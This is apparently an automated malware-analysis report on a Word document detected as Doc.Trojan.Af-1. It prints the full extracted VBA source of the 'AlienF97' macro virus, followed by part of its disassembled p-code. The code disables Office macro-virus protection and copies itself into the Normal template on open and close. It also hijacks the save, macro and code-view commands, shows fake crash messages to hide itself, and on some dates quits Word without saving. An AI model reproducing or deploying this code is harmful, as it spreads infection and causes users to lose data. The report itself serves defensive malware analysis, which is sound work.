MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose routines, which are indicative of older macro viruses. The script attempts to copy itself and associated forms to the Normal template, likely to establish persistence and enable further execution. The ClamAV detection 'Doc.Trojan.Af-1' further supports its malicious nature.
Heuristics 6
-
ClamAV: Doc.Trojan.Af-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Af-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 30176 bytes |
SHA-256: 9e27cb00990d27dd2200fcde241b0ae39dc47ddc89405718ff06a6eef7d73322 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AlienF97"
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
If WordBasic.[MacroName$](i, 0) = "AlienF97" Then
AlienInstalled = -1
End If
Next i
If Not AlienInstalled Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="AlienF97", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
End If
ErrorAC:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
If WordBasic.[MacroName$](i, 0) = "AlienF97" Then
AlienInstalled = -1
End If
Next i
If Not AlienInstalled Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="AlienF97", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
End If
Dim MyDate, MyWeek, Longueur
Nom$ = ActiveDocument.Name
Longueur = Len(Nom$)
Randomize
a$ = Int(Rnd * 12) + 1
MyDate = Date
D$ = Mid(MyDate, 1, 5)
MyWeek = WeekDay(MyDate, vbMonday)
If D$ = "01/08" Then
Select Case a$
Case 1 To 6
MsgBox "Quelques Années de Survie...", Title:="AlienF97"
Application.Quit SaveChanges:=wdDoNotSaveChanges
End Select
End If
If MyWeek = "7" Then
Select Case a$
Case 7 To 12
MsgBox "C'est Dimanche & J'ai l'intention de me relaxer", Title:="AlienF97"
Application.Quit SaveChanges:=wdDoNotSaveChanges
End Select
End If
If Longueur < 9 Then
MsgBox "Longueur De Noms De Fichier Déjà Utilisé", Title:="Tip de la part d'AlienF97"
End If
If (a$ = "1") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "N'ouvrez Jamais d'Autres Fichiers !", Title:="AlienF97"
End If
If (a$ = "2") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "Ne Faîtes Pas Confiance à Un Alien !", Title:="AlienF97"
End If
If (a$ = "3") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "Ne Croyez Pas Tous Les Tips!", Title:="AlienF97"
End If
If (a$ = "4") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "Sauvegarder Souvent Vos Données.", Title:="AlienF97"
End If
If (a$ = "5") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "Trois Acclamations pour AlienF97." & Chr$(13) & "Hip Hip Hourra !", Title:="AlienF97"
End If
If (a$ = "6") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "Je Reviendrai !", Title:="AlienF97"
End If
If (a$ = "7") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "Salut Beauté !", Title:="AlienF97"
End If
If (a$ = "8") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "Tu Me Facines.", Title:="AlienF97"
End If
If (a$ = "9") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "Ne Regarde Pas Trop Loin !", Title:="AlienF97"
End If
If (a$ = "10") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "Le Virus 'AlienF97' Est Arrivé !", Title:="AlienF97"
End If
If (a$ = "11") And (MyWeek <> "7") And (D$ <> "01/08") Then
MsgBox "AlienF97 Est En Vie...", Title:="AlienF97"
End If
ErrorAO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
Dialogs(wdDialogFileSaveAs).Show
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=NormalTemplate.FullName, Name:="AlienF97", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
UserForm900.Show
ErrorFT:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
UserForm999.Show
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
ErrorVVBC:
End Sub
Attribute VB_Name = "UserForm900"
Attribute VB_Base = "0{ADF33537-CEFD-11D1-82AE-343705C10000}{ADF33526-CEFD-11D1-82AE-343705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub
Private Sub CommandButton2_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub
Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub
Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub
Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub
Private Sub CommandButton6_Click()
Unload UserForm900
End Sub
Private Sub UserForm_Initialize()
TextBox1.Text = NormalTemplate.Name
CommandButton2.Enabled = False
CommandButton3.Enabled = False
CommandButton4.Enabled = False
End Sub
Attribute VB_Name = "UserForm999"
Attribute VB_Base = "0{ADF3353B-CEFD-11D1-82AE-343705C10000}{ADF33530-CEFD-11D1-82AE-343705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub ListBox1_Click()
If ListBox1.Selected(0) = True Then
CommandButton1.Enabled = True
CommandButton3.Enabled = True
CommandButton4.Enabled = True
CommandButton6.Enabled = True
ElseIf ListBox1.Selected(1) = True Then
CommandButton1.Enabled = True
CommandButton3.Enabled = True
CommandButton4.Enabled = True
CommandButton6.Enabled = True
Else
CommandButton1.Enabled = False
CommandButton3.Enabled = False
CommandButton4.Enabled = False
CommandButton6.Enabled = False
End If
End Sub
Private Sub UserForm_Initialize()
ComboBox1.AddItem "Commande Word"
ComboBox1.AddItem "Tous les modèles actifs"
ComboBox1.AddItem "Normal.dot (modèle global)"
ComboBox1.AddItem WordBasic.WindowName$()
CommandButton1.Enabled = False
CommandButton3.Enabled = False
TextBox2.Text = "Macro créée le " & Date & " par " & Application.UserName
End Sub
Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub CommandButton2_Click()
Unload UserForm999
End Sub
Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub CommandButton6_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub CommandButton7_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub ScrollBar1_Change()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
' Processing file: /tmp/qstore__q0vk203
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1190 bytes
' Macros/VBA/AlienF97 - 12313 bytes
' Line #0:
' FuncDefn (Sub AutoClose())
' Line #1:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #2:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #3:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #4:
' OnError ErrorAC
' Line #5:
' LitDI2 0x0000
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd CountMacros 0x0002
' St iMacroCount
' Line #6:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld iMacroCount
' For
' Line #7:
' Ld i
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd [MacroName$] 0x0002
' LitStr 0x0008 "AlienF97"
' Eq
' IfBlock
' Line #8:
' LitDI2 0x0001
' UMi
' St AlienInstalled
' Line #9:
' EndIfBlock
' Line #10:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #11:
' Ld AlienInstalled
' Not
' IfBlock
' Line #12:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x0008 "AlienF97"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #13:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x000B "UserForm900"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #14:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x000B "UserForm999"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #15:
' EndIfBlock
' Line #16:
' Label ErrorAC
' Line #17:
' EndSub
' Line #18:
' FuncDefn (Sub AutoOpen())
' Line #19:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #20:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #21:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #22:
' OnError ErrorAO
' Line #23:
' LitDI2 0x0000
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd CountMacros 0x0002
' St iMacroCount
' Line #24:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld iMacroCount
' For
' Line #25:
' Ld i
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd [MacroName$] 0x0002
' LitStr 0x0008 "AlienF97"
' Eq
' IfBlock
' Line #26:
' LitDI2 0x0001
' UMi
' St AlienInstalled
' Line #27:
' EndIfBlock
' Line #28:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #29:
' Ld AlienInstalled
' Not
' IfBlock
' Line #30:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x0008 "AlienF97"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #31:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x000B "UserForm900"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #32:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x000B "UserForm999"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #33:
' EndIfBlock
' Line #34:
' Dim
' VarDefn MyDate
' VarDefn MyWeek
' VarDefn Longueur
' Line #35:
' Ld ActiveDocument
' MemLd New
' St Nom$
' Line #36:
' Ld Nom$
' FnLen
' St Longueur
' Line #37:
' ArgsCall Read 0x0000
' Line #38:
' Ld Rnd
' LitDI2 0x000C
' Mul
' FnInt
' LitDI2 0x0001
' Add
' St a$
' Line #39:
' Ld Date
' St MyDate
' Line #40:
' Ld MyDate
' LitDI2 0x0001
' LitDI2 0x0005
' ArgsLd Mid$ 0x0003
' St D$
' Line #41:
' Ld MyDate
' Ld vbMonday
' ArgsLd WeekDay 0x0002
' St MyWeek
' Line #42:
' Ld D$
' LitStr 0x0005 "01/08"
' Eq
' IfBlock
' Line #43:
' Ld a$
' SelectCase
' Line #44:
' LitDI2 0x0001
' LitDI2 0x0006
' CaseTo
' CaseDone
' Line #45:
' LitStr 0x001C "Quelques Années de Survie..."
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #46:
' Ld wdDoNotSaveChanges
' ParamNamed SaveChanges
' Ld Application
' ArgsMemCall Quit 0x0001
' Line #47:
' EndSelect
' Line #48:
' EndIfBlock
' Line #49:
' Ld MyWeek
' LitStr 0x0001 "7"
' Eq
' IfBlock
' Line #50:
' Ld a$
' SelectCase
' Line #51:
' LitDI2 0x0007
' LitDI2 0x000C
' CaseTo
' CaseDone
' Line #52:
' LitStr 0x002F "C'est Dimanche & J'ai l'intention de me relaxer"
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #53:
' Ld wdDoNotSaveChanges
' ParamNamed SaveChanges
' Ld Application
' ArgsMemCall Quit 0x0001
' Line #54:
' EndSelect
' Line #55:
' EndIfBlock
' Line #56:
' Line #57:
' Ld Longueur
' LitDI2 0x0009
' Lt
' IfBlock
' Line #58:
' LitStr 0x0028 "Longueur De Noms De Fichier Déjà Utilisé"
' LitStr 0x0019 "Tip de la part d'AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #59:
' EndIfBlock
' Line #60:
' Line #61:
' Ld a$
' LitStr 0x0001 "1"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #62:
' LitStr 0x0023 "N'ouvrez Jamais d'Autres Fichiers !"
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #63:
' EndIfBlock
' Line #64:
' Ld a$
' LitStr 0x0001 "2"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #65:
' LitStr 0x0024 "Ne Faîtes Pas Confiance à Un Alien !"
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #66:
' EndIfBlock
' Line #67:
' Ld a$
' LitStr 0x0001 "3"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #68:
' LitStr 0x001C "Ne Croyez Pas Tous Les Tips!"
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #69:
' EndIfBlock
' Line #70:
' Ld a$
' LitStr 0x0001 "4"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #71:
' LitStr 0x0020 "Sauvegarder Souvent Vos Données."
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #72:
' EndIfBlock
' Line #73:
' Ld a$
' LitStr 0x0001 "5"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #74:
' LitStr 0x0021 "Trois Acclamations pour AlienF97."
' LitDI2 0x000D
' ArgsLd Chr$ 0x0001
' Concat
' LitStr 0x0010 "Hip Hip Hourra !"
' Concat
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #75:
' EndIfBlock
' Line #76:
' Ld a$
' LitStr 0x0001 "6"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #77:
' LitStr 0x000F "Je Reviendrai !"
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #78:
' EndIfBlock
' Line #79:
' Ld a$
' LitStr 0x0001 "7"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #80:
' LitStr 0x000E "Salut Beauté !"
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #81:
' EndIfBlock
' Line #82:
' Ld a$
' LitStr 0x0001 "8"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #83:
' LitStr 0x000E "Tu Me Facines."
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #84:
' EndIfBlock
' Line #85:
' Ld a$
' LitStr 0x0001 "9"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #86:
' LitStr 0x001A "Ne Regarde Pas Trop Loin !"
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #87:
' EndIfBlock
' Line #88:
' Ld a$
' LitStr 0x0002 "10"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #89:
' LitStr 0x0020 "Le Virus 'AlienF97' Est Arrivé !"
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #90:
' EndIfBlock
' Line #91:
' Ld a$
' LitStr 0x0002 "11"
' Eq
' Paren
' Ld MyWeek
' LitStr 0x0001 "7"
' Ne
' Paren
' And
' Ld D$
' LitStr 0x0005 "01/08"
' Ne
' Paren
' And
' IfBlock
' Line #92:
' LitStr 0x0016 "AlienF97 Est En Vie..."
' LitStr 0x0008 "AlienF97"
' ParamNamed Title
' ArgsCall MsgBox 0x0002
' Line #93:
' EndIfBlock
' Line #94:
' Label ErrorAO
' Line #95:
' EndSub
' Line #96:
' FuncDefn (Sub FileSaveAs())
' Line #97:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #98:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #99:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #100:
' OnError ErrorFSA
' Line #101:
' Ld wdDialogFileSaveAs
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #102:
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatDocument
' Eq
' Paren
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatTemplate
' Eq
' Paren
' Or
' IfBlock
' Line #103:
' Ld wdFormatTemplate
' ParamNamed FileFormat
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' Line #104:
' EndIfBlock
' Line #105:
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x0008 "AlienF97"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #106:
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x000B "UserForm900"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #107:
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x000B "UserForm999"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #108:
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' Line #109:
' Label ErrorFSA
' Line #110:
' EndSub
' Line #111:
' FuncDefn (Sub FileTemplates())
' Line #112:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #113:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #114:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #115:
' OnError ErrorFT
' Line #116:
' Ld UserForm900
' ArgsMemCall Show 0x0000
' Line #117:
' Label ErrorFT
' Line #118:
' EndSub
' Line #119:
' FuncDefn (Sub ToolsMacro())
' Line #120:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #121:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #122:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #123:
' OnError ErrorTM
' Line #124:
' Ld UserForm999
' ArgsMemCall Show 0x0000
' Line #125:
' Label ErrorTM
' Line #126:
' EndSub
' Line #127:
' FuncDefn (Sub ViewVBCode())
' Line #128:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #129:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #130:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #131:
' OnError ErrorVVBC
' Line #132:
' LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' Ld vbCritical
' LitStr 0x000E "Microsoft Word"
' ArgsCall MsgBox 0x0003
' Line #133:
' Label ErrorVVBC
' Line #134:
' EndSub
' Macros/VBA/UserForm900 - 7105 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' FuncDefn (Private Sub CommandButton1_Click())
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.